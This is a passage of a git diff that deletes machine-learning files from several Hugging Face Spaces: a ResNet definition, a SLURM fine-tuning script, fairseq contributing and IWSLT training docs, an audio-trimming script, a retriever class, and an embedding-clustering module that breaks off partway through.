- residual = self.downsample(x) - - out += residual - out = self.relu(out) - - return out - - -class Bottleneck(nn.Module): - expansion = 4 - - def __init__(self, inplanes, planes, stride=1, downsample=None): - super(Bottleneck, self).__init__() - self.conv1 = nn.Conv2d(inplanes, planes, kernel_size=1, bias=False) - self.bn1 = SynchronizedBatchNorm2d(planes) - self.conv2 = nn.Conv2d(planes, planes, kernel_size=3, stride=stride, - padding=1, bias=False) - self.bn2 = SynchronizedBatchNorm2d(planes) - self.conv3 = nn.Conv2d(planes, planes * 4, kernel_size=1, bias=False) - self.bn3 = SynchronizedBatchNorm2d(planes * 4) - self.relu = nn.ReLU(inplace=True) - self.downsample = downsample - self.stride = stride - - def forward(self, x): - residual = x - - out = self.conv1(x) - out = self.bn1(out) - out = self.relu(out) - - out = self.conv2(out) - out = self.bn2(out) - out = self.relu(out) - - out = self.conv3(out) - out = self.bn3(out) - - if self.downsample is not None: - residual = self.downsample(x) - - out += residual - out = self.relu(out) - - return out - - -class ResNet(nn.Module): - - def __init__(self, block, layers, num_classes=1000): - self.inplanes = 128 - super(ResNet, self).__init__() - self.conv1 = conv3x3(3, 64, stride=2) - self.bn1 = SynchronizedBatchNorm2d(64) - self.relu1 = nn.ReLU(inplace=True) - self.conv2 = conv3x3(64, 64) - self.bn2 = SynchronizedBatchNorm2d(64) - self.relu2 = nn.ReLU(inplace=True) - self.conv3 = conv3x3(64, 128) - self.bn3 = SynchronizedBatchNorm2d(128) - self.relu3 = nn.ReLU(inplace=True) - self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) - - self.layer1 = self._make_layer(block, 64, layers[0]) - self.layer2 = self._make_layer(block, 128, layers[1], stride=2) - self.layer3 = self._make_layer(block, 256, layers[2], stride=2) - self.layer4 = self._make_layer(block, 512, layers[3], stride=2) - self.avgpool = nn.AvgPool2d(7, stride=1) - self.fc = nn.Linear(512 * block.expansion, num_classes) - - for m in self.modules(): - if isinstance(m, nn.Conv2d): - n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels - m.weight.data.normal_(0, math.sqrt(2. / n)) - elif isinstance(m, SynchronizedBatchNorm2d): - m.weight.data.fill_(1) - m.bias.data.zero_() - - def _make_layer(self, block, planes, blocks, stride=1): - downsample = None - if stride != 1 or self.inplanes != planes * block.expansion: - downsample = nn.Sequential( - nn.Conv2d(self.inplanes, planes * block.expansion, - kernel_size=1, stride=stride, bias=False), - SynchronizedBatchNorm2d(planes * block.expansion), - ) - - layers = [] - layers.append(block(self.inplanes, planes, stride, downsample)) - self.inplanes = planes * block.expansion - for i in range(1, blocks): - layers.append(block(self.inplanes, planes)) - - return nn.Sequential(*layers) - - def forward(self, x): - x = self.relu1(self.bn1(self.conv1(x))) - x = self.relu2(self.bn2(self.conv2(x))) - x = self.relu3(self.bn3(self.conv3(x))) - x = self.maxpool(x) - - x = self.layer1(x) - x = self.layer2(x) - x = self.layer3(x) - x = self.layer4(x) - - x = self.avgpool(x) - x = x.view(x.size(0), -1) - x = self.fc(x) - - return x - -''' -def resnet18(pretrained=False, **kwargs): - """Constructs a ResNet-18 model. - - Args: - pretrained (bool): If True, returns a model pre-trained on Places - """ - model = ResNet(BasicBlock, [2, 2, 2, 2], **kwargs) - if pretrained: - model.load_state_dict(load_url(model_urls['resnet18'])) - return model - - -def resnet34(pretrained=False, **kwargs): - """Constructs a ResNet-34 model. - - Args: - pretrained (bool): If True, returns a model pre-trained on Places - """ - model = ResNet(BasicBlock, [3, 4, 6, 3], **kwargs) - if pretrained: - model.load_state_dict(load_url(model_urls['resnet34'])) - return model -''' - -def resnet50(pretrained=False, **kwargs): - """Constructs a ResNet-50 model. - - Args: - pretrained (bool): If True, returns a model pre-trained on Places - """ - model = ResNet(Bottleneck, [3, 4, 6, 3], **kwargs) - if pretrained: - model.load_state_dict(load_url(model_urls['resnet50']), strict=False) - return model - - -def resnet101(pretrained=False, **kwargs): - """Constructs a ResNet-101 model. - - Args: - pretrained (bool): If True, returns a model pre-trained on Places - """ - model = ResNet(Bottleneck, [3, 4, 23, 3], **kwargs) - if pretrained: - model.load_state_dict(load_url(model_urls['resnet101']), strict=False) - return model - -# def resnet152(pretrained=False, **kwargs): -# """Constructs a ResNet-152 model. -# -# Args: -# pretrained (bool): If True, returns a model pre-trained on Places -# """ -# model = ResNet(Bottleneck, [3, 8, 36, 3], **kwargs) -# if pretrained: -# model.load_state_dict(load_url(model_urls['resnet152'])) -# return model - -def load_url(url, model_dir='./pretrained', map_location=None): - if not os.path.exists(model_dir): - os.makedirs(model_dir) - filename = url.split('/')[-1] - cached_file = os.path.join(model_dir, filename) - if not os.path.exists(cached_file): - sys.stderr.write('Downloading: "{}" to {}\n'.format(url, cached_file)) - urlretrieve(url, cached_file) - return torch.load(cached_file, map_location=map_location) diff --git a/spaces/HaloMaster/chinesesummary/fengshen/examples/zen2_finetune/ner_zen2_base_resume.sh b/spaces/HaloMaster/chinesesummary/fengshen/examples/zen2_finetune/ner_zen2_base_resume.sh deleted file mode 100644 index a7aee577ed035c0f39b883aa8a2a4dd6fffd479d..0000000000000000000000000000000000000000 --- a/spaces/HaloMaster/chinesesummary/fengshen/examples/zen2_finetune/ner_zen2_base_resume.sh +++ /dev/null @@ -1,91 +0,0 @@ -#!/bin/bash -#SBATCH --job-name=zen2_base_resume # create a short name for your job -#SBATCH --nodes=1 # node count -#SBATCH --ntasks=1 # total number of tasks across all nodes -#SBATCH --cpus-per-task=30 # cpu-cores per task (>1 if multi-threaded tasks) -#SBATCH --gres=gpu:1 # number of gpus per node -#SBATCH --mail-type=ALL # send email when job begins, ends or failed etc. -#SBATCH -o /cognitive_comp/ganruyi/experiments/ner_finetune/zen2_base_resume/%x-%j.log # output and error file name (%x=job name, %j=job id) - - -# export CUDA_VISIBLE_DEVICES='2' -export TORCH_EXTENSIONS_DIR=/cognitive_comp/ganruyi/tmp/torch_extendsions - -MODEL_NAME=zen2_base - -TASK=resume - -ZERO_STAGE=1 -STRATEGY=deepspeed_stage_${ZERO_STAGE} - -ROOT_DIR=/cognitive_comp/ganruyi/experiments/ner_finetune/${MODEL_NAME}_${TASK} -if [ ! -d ${ROOT_DIR} ];then - mkdir -p ${ROOT_DIR} - echo ${ROOT_DIR} created!!!!!!!!!!!!!! -else - echo ${ROOT_DIR} exist!!!!!!!!!!!!!!! -fi - -DATA_DIR=/cognitive_comp/lujunyu/data_zh/NER_Aligned/Resume/ -PRETRAINED_MODEL_PATH=/cognitive_comp/ganruyi/hf_models/zen/zh_zen_base_2.0 - -CHECKPOINT_PATH=${ROOT_DIR}/ckpt/ -OUTPUT_PATH=${ROOT_DIR}/predict.json - -DATA_ARGS="\ - --data_dir $DATA_DIR \ - --train_data train.char.bmes \ - --valid_data test.char.bmes \ - --test_data test.char.bmes \ - --train_batchsize 32 \ - --valid_batchsize 16 \ - --max_seq_length 256 \ - --task_name resume \ - " - -MODEL_ARGS="\ - --learning_rate 3e-5 \ - --weight_decay 0.1 \ - --warmup_ratio 0.01 \ - --markup bioes \ - --middle_prefix M- \ - " - -MODEL_CHECKPOINT_ARGS="\ - --monitor val_f1 \ - --save_top_k 3 \ - --mode max \ - --every_n_train_steps 100 \ - --save_weights_only True \ - --dirpath $CHECKPOINT_PATH \ - --filename model-{epoch:02d}-{val_f1:.4f} \ - " - -TRAINER_ARGS="\ - --max_epochs 30 \ - --gpus 1 \ - --check_val_every_n_epoch 1 \ - --val_check_interval 100 \ - --default_root_dir $ROOT_DIR \ - " - - -options=" \ - --pretrained_model_path $PRETRAINED_MODEL_PATH \ - --vocab_file $PRETRAINED_MODEL_PATH/vocab.txt \ - --do_lower_case \ - --output_save_path $OUTPUT_PATH \ - $DATA_ARGS \ - $MODEL_ARGS \ - $MODEL_CHECKPOINT_ARGS \ - $TRAINER_ARGS \ -" -SCRIPT_PATH=/cognitive_comp/ganruyi/Fengshenbang-LM/fengshen/examples/zen2_finetune/fengshen_token_level_ft_task.py -/home/ganruyi/anaconda3/bin/python $SCRIPT_PATH $options - -# SINGULARITY_PATH=/cognitive_comp/ganruyi/pytorch21_06_py3_docker_image_v2.sif -# python3 $SCRIPT_PATH $options -# source activate base -# singularity exec --nv -B /cognitive_comp/:/cognitive_comp/ $SINGULARITY_PATH /home/ganruyi/anaconda3/bin/python $SCRIPT_PATH $options -# /home/ganruyi/anaconda3/bin/python $SCRIPT_PATH $options - diff --git a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/CONTRIBUTING.md b/spaces/HarryLee/eCommerceImageCaptioning/fairseq/CONTRIBUTING.md deleted file mode 100644 index 3930c46196b7b6082cacc76fd5808b49677ae805..0000000000000000000000000000000000000000 --- a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/CONTRIBUTING.md +++ /dev/null @@ -1,28 +0,0 @@ -# Contributing to Facebook AI Research Sequence-to-Sequence Toolkit (fairseq) -We want to make contributing to this project as easy and transparent as -possible. - -## Pull Requests -We actively welcome your pull requests. - -1. Fork the repo and create your branch from `main`. -2. If you've added code that should be tested, add tests. -3. If you've changed APIs, update the documentation. -4. Ensure the test suite passes. -5. Make sure your code lints. -6. If you haven't already, complete the Contributor License Agreement ("CLA"). - -## Contributor License Agreement ("CLA") -In order to accept your pull request, we need you to submit a CLA. You only need -to do this once to work on any of Facebook's open source projects. - -Complete your CLA here: - -## Issues -We use GitHub issues to track public bugs. Please ensure your description is -clear and has sufficient instructions to be able to reproduce the issue. - -## License -By contributing to Facebook AI Research Sequence-to-Sequence Toolkit (fairseq), -you agree that your contributions will be licensed under the LICENSE file in -the root directory of this source tree. diff --git a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/examples/speech_text_joint_to_text/docs/iwslt2021.md b/spaces/HarryLee/eCommerceImageCaptioning/fairseq/examples/speech_text_joint_to_text/docs/iwslt2021.md deleted file mode 100644 index 920ff271c2e178c7a4ca3c7c8ce57a2f28653969..0000000000000000000000000000000000000000 --- a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/examples/speech_text_joint_to_text/docs/iwslt2021.md +++ /dev/null @@ -1,76 +0,0 @@ -[[Back]](..) - -# Joint Speech Text Training for the 2021 IWSLT multilingual speech translation - -This directory contains the code from paper ["FST: the FAIR Speech Translation System for the IWSLT21 Multilingual Shared Task"](https://arxiv.org/pdf/2107.06959.pdf). - -## Prepare Data -#### Download files -- Sentence piece model [spm.model](https://dl.fbaipublicfiles.com/joint_speech_text_4_s2t/iwslt/iwslt_data/spm.model) -- Dictionary [tgt_dict.txt](https://dl.fbaipublicfiles.com/joint_speech_text_4_s2t/iwslt/iwslt_data/dict.txt) -- Config [config.yaml](https://dl.fbaipublicfiles.com/joint_speech_text_4_s2t/iwslt/iwslt_data/config.yaml) - -#### Prepare -- [Please follow the data preparation in speech-to-text](https://github.com/pytorch/fairseq/blob/main/examples/speech_to_text/docs/mtedx_example.md) - - - -## Training - -#### Download pretrained models -- [Pretrained mbart model](https://dl.fbaipublicfiles.com/joint_speech_text_4_s2t/iwslt/iwslt_data/mbart.pt) -- [Pretrained w2v model](https://dl.fbaipublicfiles.com/joint_speech_text_4_s2t/iwslt/iwslt_data/xlsr_53_56k.pt) - - -#### Training scripts - -```bash -python train.py ${MANIFEST_ROOT} \ - --save-dir ${save_dir} \ - --user-dir examples/speech_text_joint_to_text \ - --train-subset train_es_en_tedx,train_es_es_tedx,train_fr_en_tedx,train_fr_es_tedx,train_fr_fr_tedx,train_it_it_tedx,train_pt_en_tedx,train_pt_pt_tedx \ - --valid-subset valid_es_en_tedx,valid_es_es_tedx,valid_es_fr_tedx,valid_es_it_tedx,valid_es_pt_tedx,valid_fr_en_tedx,valid_fr_es_tedx,valid_fr_fr_tedx,valid_fr_pt_tedx,valid_it_en_tedx,valid_it_es_tedx,valid_it_it_tedx,valid_pt_en_tedx,valid_pt_es_tedx,valid_pt_pt_tedx \ - --config-yaml config.yaml --ddp-backend no_c10d \ - --num-workers 2 --task speech_text_joint_to_text \ - --criterion guided_label_smoothed_cross_entropy_with_accuracy \ - --label-smoothing 0.3 --guide-alpha 0.8 \ - --disable-text-guide-update-num 5000 --arch dualinputxmtransformer_base \ - --max-tokens 500000 --max-sentences 3 --max-tokens-valid 800000 \ - --max-source-positions 800000 --enc-grad-mult 2.0 \ - --attentive-cost-regularization 0.02 --optimizer adam \ - --clip-norm 1.0 --log-format simple --log-interval 200 \ - --keep-last-epochs 5 --seed 1 \ - --w2v-path ${w2v_path} \ - --load-pretrained-mbart-from ${mbart_path} \ - --max-update 1000000 --update-freq 4 \ - --skip-invalid-size-inputs-valid-test \ - --skip-encoder-projection --save-interval 1 \ - --attention-dropout 0.3 --mbart-dropout 0.3 \ - --finetune-w2v-params all --finetune-mbart-decoder-params all \ - --finetune-mbart-encoder-params all --stack-w2v-mbart-encoder \ - --drop-w2v-layers 12 --normalize \ - --lr 5e-05 --lr-scheduler inverse_sqrt --warmup-updates 5000 -``` - -## Evaluation -```bash -python ./fairseq_cli/generate.py - ${MANIFEST_ROOT} \ - --task speech_text_joint_to_text \ - --user-dir ./examples/speech_text_joint_to_text \ - --load-speech-only --gen-subset test_es_en_tedx \ - --path ${model} \ - --max-source-positions 800000 \ - --skip-invalid-size-inputs-valid-test \ - --config-yaml config.yaml \ - --infer-target-lang en \ - --max-tokens 800000 \ - --beam 5 \ - --results-path ${RESULTS_DIR} \ - --scoring sacrebleu -``` -The trained model can be downloaded [here](https://dl.fbaipublicfiles.com/joint_speech_text_4_s2t/iwslt/iwslt_data/checkpoint17.pt) - -|direction|es_en|fr_en|pt_en|it_en|fr_es|pt_es|it_es|es_es|fr_fr|pt_pt|it_it| -|---|---|---|---|---|---|---|---|---|---|---|---| -|BLEU|31.62|36.93|35.07|27.12|38.87|35.57|34.13|74.59|74.64|70.84|69.76| diff --git a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/examples/textless_nlp/gslm/metrics/asr_metrics/misc/cut_as.py b/spaces/HarryLee/eCommerceImageCaptioning/fairseq/examples/textless_nlp/gslm/metrics/asr_metrics/misc/cut_as.py deleted file mode 100644 index 5b7e1e968564b84c47049c5cc69c9d6b8fafe0e9..0000000000000000000000000000000000000000 --- a/spaces/HarryLee/eCommerceImageCaptioning/fairseq/examples/textless_nlp/gslm/metrics/asr_metrics/misc/cut_as.py +++ /dev/null @@ -1,69 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - - -import torchaudio -import argparse -import json -import pathlib - - -def get_args(): - parser = argparse.ArgumentParser( - "Assuring generated audio have the same length as ground-truth audio") - parser.add_argument('--samples_dir', required=True, type=str) - parser.add_argument('--out_dir', required=True, type=str) - parser.add_argument('--prompts_description', required=True, type=str) - return parser.parse_args() - - -def cut(src, tgt, l): - x, sr = torchaudio.load(str(src)) - assert sr == 16_000 - - x = x.squeeze() - target_frames = int(l * sr) - - flag = 0 - if target_frames <= x.size(0): - x = x[:target_frames] - flag = 1 - else: - flag = 0 - torchaudio.save(str(tgt), x.unsqueeze(0), sr) - return flag - - -def main(): - args = get_args() - tgt_dir = pathlib.Path(args.out_dir) - tgt_dir.mkdir(exist_ok=True, parents=True) - - total_files, sufficiently_long = 0, 0 - - with open(args.prompts_description, 'r') as f: - description = json.loads(f.read()) - - for src_f in pathlib.Path(args.samples_dir).glob('*.wav'): - name_prompt = src_f.with_suffix('').name.split('__')[0] - - assert name_prompt in description, f'Cannot find {name_prompt}!' - - target_length = description[name_prompt][0] - tgt_f = tgt_dir / (src_f.name) - - is_long_enough = cut(src_f, tgt_f, target_length) - sufficiently_long += is_long_enough - if not is_long_enough: - print(f'{src_f} is not long enough') - - total_files += 1 - - print( - f'Total files: {total_files}; sufficiently long: {sufficiently_long}') - - -if __name__ == '__main__': - main() diff --git a/spaces/Hexamind/QnA/src/tools/retriever.py b/spaces/Hexamind/QnA/src/tools/retriever.py deleted file mode 100644 index 761e10813aa65e1cae224fdcbe38899b35958c7a..0000000000000000000000000000000000000000 --- a/spaces/Hexamind/QnA/src/tools/retriever.py +++ /dev/null @@ -1,32 +0,0 @@ -from src.model.doc import Doc -from src.model.block import Block - - -class Retriever: - - def __init__(self, db_client, plan_doc: Doc, content_doc: Doc, content_fr_doc: Doc, collection_name: str): - plan_blocks: [Block] = plan_doc.blocks - content_blocks: [Block] = content_doc.blocks - content_fr_blocks: [Block] = content_fr_doc.blocks - for pb, cb in zip(plan_blocks, content_blocks): - cb.specials = pb.specials - for cb, cb_fr in zip(content_blocks, content_fr_blocks): - cb.content_fr = cb_fr.content - cb.title_fr = cb_fr.title - self.collection = db_client.create_collection(name=collection_name) - self.collection.add( - documents=[block.content for block in plan_blocks], - ids=[block.index for block in plan_blocks], - metadatas=[block.to_dict() for block in content_blocks] - ) - - def similarity_search(self, query: str) -> {}: - res = self.collection.query(query_texts=query) - block_dict_sources = res['metadatas'][0] - distances = res['distances'][0] - blocks = [] - for bd, d in zip(block_dict_sources, distances): - b = Block().from_dict(bd) - b.distance = d - blocks.append(b) - return blocks diff --git a/spaces/HuggingFaceM4/IDEFICS_Data_Measurement_Tool/data_measurements/embeddings/embeddings.py b/spaces/HuggingFaceM4/IDEFICS_Data_Measurement_Tool/data_measurements/embeddings/embeddings.py deleted file mode 100644 index 84d8f566ecb8c954df890617be27178fc1b4d400..0000000000000000000000000000000000000000 --- a/spaces/HuggingFaceM4/IDEFICS_Data_Measurement_Tool/data_measurements/embeddings/embeddings.py +++ /dev/null @@ -1,550 +0,0 @@ -# Copyright 2021 The HuggingFace Team. All rights reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -import math -from os.path import exists -from os.path import join as pjoin - -import plotly.graph_objects as go -import torch -import transformers -from datasets import load_from_disk -from plotly.io import read_json -from tqdm import tqdm - -from utils.dataset_utils import EMBEDDING_FIELD - - -def sentence_mean_pooling(model_output, attention_mask): - """Mean pooling of token embeddings for a sentence.""" - token_embeddings = model_output[ - 0 - ] # First element of model_output contains all token embeddings - input_mask_expanded = ( - attention_mask.unsqueeze(-1).expand(token_embeddings.size()).float() - ) - return torch.sum(token_embeddings * input_mask_expanded, 1) / torch.clamp( - input_mask_expanded.sum(1), min=1e-9 - ) - - -class Embeddings: - def __init__( - self, - dstats=None, - text_dset=None, - text_field_name="text", - cache_path="", - use_cache=False, - ): - """Item embeddings and clustering""" - self.device = "cuda:0" if torch.cuda.is_available() else "cpu" - self.model_name = "sentence-transformers/all-mpnet-base-v2" - self.tokenizer = transformers.AutoTokenizer.from_pretrained(self.model_name) - self.model = transformers.AutoModel.from_pretrained(self.model_name).to( - self.device - ) - self.text_dset = text_dset if dstats is None else dstats.text_dset - self.text_field_name = ( - text_field_name if dstats is None else dstats.our_text_field - ) - self.cache_path = cache_path if dstats is None else dstats.cache_path - self.embeddings_dset_fid = pjoin(self.cache_path, "embeddings_dset") - self.embeddings_dset = None - self.node_list_fid = pjoin(self.cache_path, "node_list.th") - self.node_list = None - self.nid_map = None - self.fig_tree_fid = pjoin(self.cache_path, "node_figure.json") - self.fig_tree = None - self.cached_clusters = {} - self.use_cache = use_cache - - def compute_sentence_embeddings(self, sentences): - """ - Takes a list of sentences and computes their embeddings - using self.tokenizer and self.model (with output dimension D) - followed by mean pooling of the token representations and normalization - Args: - sentences ([string]): list of N input sentences - Returns: - torch.Tensor: sentence embeddings, dimension NxD - """ - batch = self.tokenizer( - sentences, padding=True, truncation=True, return_tensors="pt" - ) - batch = {k: v.to(self.device) for k, v in batch.items()} - with torch.no_grad(): - model_output = self.model(**batch) - sentence_embeds = sentence_mean_pooling( - model_output, batch["attention_mask"] - ) - sentence_embeds /= sentence_embeds.norm(dim=-1, keepdim=True) - return sentence_embeds - - def make_embeddings(self): - """ - Batch computes the embeddings of the Dataset self.text_dset, - using the field self.text_field_name as input. - Returns: - Dataset: HF dataset object with a single EMBEDDING_FIELD field - corresponding to the embeddings (list of floats) - """ - - def batch_embed_sentences(sentences): - return { - EMBEDDING_FIELD: [ - embed.tolist() - for embed in self.compute_sentence_embeddings( - sentences[self.text_field_name] - ) - ] - } - - self.embeddings_dset = self.text_dset.map( - batch_embed_sentences, - batched=True, - batch_size=32, - remove_columns=[self.text_field_name], - ) - - return self.embeddings_dset - - def make_text_embeddings(self): - """Load embeddings dataset from cache or compute it.""" - if self.use_cache and exists(self.embeddings_dset_fid): - self.embeddings_dset = load_from_disk(self.embeddings_dset_fid) - else: - self.embeddings_dset = self.make_embeddings() - self.embeddings_dset.save_to_disk(self.embeddings_dset_fid) - - def make_hierarchical_clustering( - self, - batch_size=1000, - approx_neighbors=1000, - min_cluster_size=10, - ): - if self.use_cache and exists(self.node_list_fid): - self.node_list, self.nid_map = torch.load(self.node_list_fid) - else: - self.make_text_embeddings() - embeddings = torch.Tensor(self.embeddings_dset[EMBEDDING_FIELD]) - self.node_list = fast_cluster( - embeddings, batch_size, approx_neighbors, min_cluster_size - ) - self.nid_map = dict( - [(node["nid"], nid) for nid, node in enumerate(self.node_list)] - ) - torch.save((self.node_list, self.nid_map), self.node_list_fid) - print(exists(self.fig_tree_fid), self.fig_tree_fid) - if self.use_cache and exists(self.fig_tree_fid): - self.fig_tree = read_json(self.fig_tree_fid) - else: - self.fig_tree = make_tree_plot( - self.node_list, self.nid_map, self.text_dset, self.text_field_name - ) - self.fig_tree.write_json(self.fig_tree_fid) - - def find_cluster_beam(self, sentence, beam_size=20): - """ - This function finds the `beam_size` leaf clusters that are closest to the - proposed sentence and returns the full path from the root to the cluster - along with the dot product between the sentence embedding and the - cluster centroid - Args: - sentence (string): input sentence for which to find clusters - beam_size (int): this is a beam size algorithm to explore the tree - Returns: - [([int], float)]: list of (path_from_root, score) sorted by score - """ - embed = self.compute_sentence_embeddings([sentence])[0].to("cpu") - active_paths = [([0], torch.dot(embed, self.node_list[0]["centroid"]).item())] - finished_paths = [] - children_ids_list = [ - [ - self.nid_map[nid] - for nid in self.node_list[path[-1]]["children_ids"] - if nid in self.nid_map - ] - for path, score in active_paths - ] - while len(active_paths) > 0: - next_ids = sorted( - [ - ( - beam_id, - nid, - torch.dot(embed, self.node_list[nid]["centroid"]).item(), - ) - for beam_id, children_ids in enumerate(children_ids_list) - for nid in children_ids - ], - key=lambda x: x[2], - reverse=True, - )[:beam_size] - paths = [ - (active_paths[beam_id][0] + [next_id], score) - for beam_id, next_id, score in next_ids - ] - active_paths = [] - for path, score in paths: - if ( - len( - [ - nid - for nid in self.node_list[path[-1]]["children_ids"] - if nid in self.nid_map - ] - ) - > 0 - ): - active_paths += [(path, score)] - else: - finished_paths += [(path, score)] - children_ids_list = [ - [ - self.nid_map[nid] - for nid in self.node_list[path[-1]]["children_ids"] - if nid in self.nid_map - ] - for path, score in active_paths - ] - return sorted( - finished_paths, - key=lambda x: x[-1], - reverse=True, - )[:beam_size] - - -def prepare_merges(embeddings, batch_size=1000, approx_neighbors=1000, low_thres=0.5): - """ - Prepares an initial list of merges for hierarchical - clustering. First compute the `approx_neighbors` nearest neighbors, - then propose a merge for any two points that are closer than `low_thres` - - Note that if a point has more than `approx_neighbors` neighbors - closer than `low_thres`, this approach will miss some of those merges - - Args: - embeddings (toch.Tensor): Tensor of sentence embeddings - dimension NxD - batch_size (int): compute nearest neighbors of `batch_size` points at a time - approx_neighbors (int): only keep `approx_neighbors` nearest neighbors of a point - low_thres (float): only return merges where the dot product is greater than `low_thres` - Returns: - torch.LongTensor: proposed merges ([i, j] with i>j) - dimension: Mx2 - torch.Tensor: merge scores - dimension M - """ - top_idx_pre = torch.cat( - [torch.LongTensor(range(embeddings.shape[0]))[:, None]] * batch_size, dim=1 - ) - top_val_all = torch.Tensor(0, approx_neighbors) - top_idx_all = torch.LongTensor(0, approx_neighbors) - n_batches = math.ceil(len(embeddings) / batch_size) - for b in tqdm(range(n_batches)): - # TODO: batch across second dimension - cos_scores = torch.mm( - embeddings[b * batch_size : (b + 1) * batch_size], embeddings.t() - ) - for i in range(cos_scores.shape[0]): - cos_scores[i, (b * batch_size) + i :] = -1 - top_val_large, top_idx_large = cos_scores.topk( - k=approx_neighbors, dim=-1, largest=True - ) - top_val_all = torch.cat([top_val_all, top_val_large], dim=0) - top_idx_all = torch.cat([top_idx_all, top_idx_large], dim=0) - max_neighbor_dist = top_val_large[:, -1].max().item() - if max_neighbor_dist > low_thres: - print( - f"WARNING: with the current set of neireast neighbor, the farthest is {max_neighbor_dist}" - ) - - all_merges = torch.cat( - [ - top_idx_pre[top_val_all > low_thres][:, None], - top_idx_all[top_val_all > low_thres][:, None], - ], - dim=1, - ) - all_merge_scores = top_val_all[top_val_all > low_thres] - - return (all_merges, all_merge_scores) - - -def merge_nodes(nodes, current_thres, previous_thres, all_merges, all_merge_scores): - """ - Merge all nodes if the max dot product between any of their descendants - is greater than current_thres. - - Args: - nodes ([dict]): list of dicts representing the current set of nodes - current_thres (float): merge all nodes closer than current_thres - previous_thres (float): nodes closer than previous_thres are already merged - all_merges (torch.LongTensor): proposed merges ([i, j] with i>j) - dimension: Mx2 - all_merge_scores (torch.Tensor): merge scores - dimension M - Returns: - [dict]: extended list with the newly created internal nodes - """ - merge_ids = (all_merge_scores <= previous_thres) * ( - all_merge_scores > current_thres - ) - if merge_ids.sum().item() > 0: - merges = all_merges[merge_ids] - for a, b in merges.tolist(): - node_a = nodes[a] - while node_a["parent_id"] != -1: - node_a = nodes[node_a["parent_id"]] - node_b = nodes[b] - while node_b["parent_id"] != -1: - node_b = nodes[node_b["parent_id"]] - if node_a["nid"] == node_b["nid"]: - continue - else: - # merge if threshold allows - if (node_a["depth"] + node_b["depth"]) > 0 and min( - node_a["merge_threshold"], node_b["merge_threshold"] - ) == current_thres: - merge_to = None - merge_from = None - if node_a["nid"] < node_b["nid"]: - merge_from = node_a - merge_to = node_b - if node_a["nid"] > node_b["nid"]: - merge_from = node_b - merge_to = node_a - merge_to["depth"] = max(merge_to["depth"], merge_from["depth"]) - merge_to["weight"] += merge_from["weight"] - merge_to["children_ids"] += ( - merge_from["children_ids"] - if merge_from["depth"] > 0 - else [merge_from["nid"]] - ) - for cid in merge_from["children_ids"]: - nodes[cid]["parent_id"] = merge_to["nid"] - merge_from["parent_id"] = merge_to["nid"] - # else new node - else: - new_nid = len(nodes) - new_node = { - "nid": new_nid, - "parent_id": -1, - "depth": max(node_a["depth"], node_b["depth"]) + 1, - "weight": node_a["weight"] + node_b["weight"], - "children": [], - "children_ids": [node_a["nid"], node_b["nid"]], - "example_ids": [], - "merge_threshold": current_thres, - } - node_a["parent_id"] = new_nid - node_b["parent_id"] = new_nid - nodes += [new_node] - return nodes - - -def finalize_node(node, nodes, min_cluster_size): - """Post-process nodes to sort children by descending weight, - get full list of leaves in the sub-tree, and direct links - to the cildren nodes, then recurses to all children. - - Nodes with fewer than `min_cluster_size` descendants are collapsed - into a single leaf. - """ - node["children"] = sorted( - [ - finalize_node(nodes[cid], nodes, min_cluster_size) - for cid in node["children_ids"] - ], - key=lambda x: x["weight"], - reverse=True, - ) - if node["depth"] > 0: - node["example_ids"] = [ - eid for child in node["children"] for eid in child["example_ids"] - ] - node["children"] = [ - child for child in node["children"] if child["weight"] >= min_cluster_size - ] - assert node["weight"] == len(node["example_ids"]), print(node) - return node - - -def fast_cluster( - embeddings, - batch_size=1000, - approx_neighbors=1000, - min_cluster_size=10, - low_thres=0.5, -): - """ - Computes an approximate hierarchical clustering based on example - embeddings. The join criterion is min clustering, i.e. two clusters - are joined if any pair of their descendants are closer than a threshold - - The approximate comes from the fact that only the `approx_neighbors` nearest - neighbors of an example are considered for merges - """ - batch_size = min(embeddings.shape[0], batch_size) - all_merges, all_merge_scores = prepare_merges( - embeddings, batch_size, approx_neighbors, low_thres - ) - # prepare leaves - nodes = [ - { - "nid": nid, - "parent_id": -1, - "depth": 0, - "weight": 1, - "children": [], - "children_ids": [], - "example_ids": [nid], - "merge_threshold": 1.0, - } - for nid in range(embeddings.shape[0]) - ] - # one level per threshold range - for i in range(10): - p_thres = 1 - i * 0.05 - c_thres = 0.95 - i * 0.05 - nodes = merge_nodes(nodes, c_thres, p_thres, all_merges, all_merge_scores) - # make root - root_children = [ - node - for node in nodes - if node["parent_id"] == -1 and node["weight"] >= min_cluster_size - ] - root = { - "nid": len(nodes), - "parent_id": -1, - "depth": max([node["depth"] for node in root_children]) + 1, - "weight": sum([node["weight"] for node in root_children]), - "children": [], - "children_ids": [node["nid"] for node in root_children], - "example_ids": [], - "merge_threshold": -1.0, - } - nodes += [root] - for node in root_children: - node["parent_id"] = root["nid"] - # finalize tree - tree = finalize_node(root, nodes, min_cluster_size) - node_list = [] - - def rec_map_nodes(node, node_list): - node_list += [node] - for child in node["children"]: - rec_map_nodes(child, node_list) - - rec_map_nodes(tree, node_list) - # get centroids and distances - for node in node_list: - node_embeds = embeddings[node["example_ids"]] - node["centroid"] = node_embeds.sum(dim=0) - node["centroid"] /= node["centroid"].norm() - node["centroid_dot_prods"] = torch.mv(node_embeds, node["centroid"]) - node["sorted_examples_centroid"] = sorted( - [ - (eid, edp.item()) - for eid, edp in zip(node["example_ids"], node["centroid_dot_prods"]) - ], - key=lambda x: x[1], - reverse=True, - ) - return node_list - - -def make_tree_plot(node_list, nid_map, text_dset, text_field_name): - """ - Makes a graphical representation of the tree encoded - in node-list. The hover label for each node shows the number - of descendants and the 5 examples that are closest to the centroid - """ - for nid, node in enumerate(node_list): - # get list of - node_examples = {} - for sid, score in 